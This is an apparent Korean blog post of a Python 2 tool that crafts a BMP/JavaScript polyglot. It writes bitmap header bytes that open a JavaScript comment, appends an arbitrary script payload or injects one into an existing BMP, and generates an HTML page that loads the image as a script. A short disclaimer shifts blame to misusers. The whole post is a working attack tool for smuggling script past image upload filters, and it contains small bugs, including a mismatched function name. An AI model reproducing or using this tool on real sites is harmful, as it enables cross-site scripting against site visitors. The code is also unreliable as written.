###이 코드를 악용할시 책임은 전적으로 악용한 사람에게 있음 ###
#!/usr/bin/python
# -*- coding:utf-8 -*-
import argparse
import os
#===--------------
def _hexify(num):
"""
Converts and formats to hexadecimal
"""
num="%x" % num
if len(num) %2:
num='0'+num
return num.decode('hex')
#---------------------------
#Example payload: "var _0xe428=[\""+b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64'+"\"]
#;alert(_0xe428[0]);"
def _generate_and_write_tofile(payload, fname):
"""
Generates a fake but valid BMP within scripting
"""
f=open(fname,"wb")
header=(b'\x42\x4D' #Signature BM
b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* Yes,it's a valid header
b'\x00\x00\x00\x00' #Reserved
b'\x00\x00\x00\x00' #bitmap data offset
b''+_hexify(len(payload))+ #bitmap header size
b'\x00\x00\x00\x14' #width 20pixel
b'\x00\x00\x00\x14' #height 20pixel
b'\x00\x00' #nb_plan
b'\x00\x00' #nb per pixel
b'\x00\x10\x00\x00' #compression type
b'\x00\x00\x00\x00' #image size
b'\x00\x00\x00\x01' #Horizontal resolution
b'\x00\x00\x00\x01' #Vertial resolution
b'\x00\x00\x00\x00' #number of colors
b'\x00\x00\x00\x00' #number important colors
b'\x00\x00\x00\x80' #palet colors to be complient
b'\x00\x80\xff\x80' #palet colors to be complient
b'\x80\x00\xff\x2A' #palet colors to be complient
b'\x2F\x3D\x31\x3B' #*/=1;
)
f.write(header)
f.write(payload)
f.close()
return True
#----------------------------------------
def _generate_launching_page(f):
"""
Creates the HTML launching page
"""
htmlpage="""
<html>
<head><title>Opening an image</title></head>
<body>
<img src=\""""+f+"""\"\>
<script src=\""""+f+"""\"></script>
</body>
</html>
"""
html=open("run.html","wb")
html.write(htmlpage);
html.close()
return True
#-------------------------------------
def _inject_into_file(payload, fname):
"""
Inject the payload into existing BMP
NOTE: if the BMP contains \xFF\x2A might cause issues
"""
f=open(fname, "r+b")
b=f.read()
b.replace(b'\x24\x2F',b'\x00\x00')
f.close()
f=open(fname,"w+b")
f.write(b)
f.seek(2,0)
f.write(b'\x2F\x2A')
f.close()
f=open(fname,"a+b")
f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.close()
return True
#-------------------------------------------
if __name__=="__main__":
parser=argparse.ArgumentParser()
parser.add_argument("filename",help="the bmp file name to be generated/or infected")
parser.add_argument("js_payload",help="the payload to be injected. For example:\"alert(\"test\");\"")
parser.add_argument("-i","--inject-to-existing-bmp",action="store_true",help="inject into the currentbitmap")
args=parser.parse_args()
print("""
|=========================================|
|[!] It is the end user's responsibility |
|=========================================|
""")
if args.inject_to_existing_bmp:
_inject_into_file(args.js_payload, args.filename)
else:
_generate_and_write_to_file(args.js_payload, args.filename)
_generate_launching_page(args.filename)
print "[+] Finished!"
'Python' 카테고리의 다른 글
sshBrute.py (0) | 2015.02.04 |
---|---|
dns_query.py (0) | 2015.02.04 |
reverseBinary.py (0) | 2015.02.02 |
chang_Ext.py (0) | 2015.01.31 |
import wx (0) | 2015.01.31 |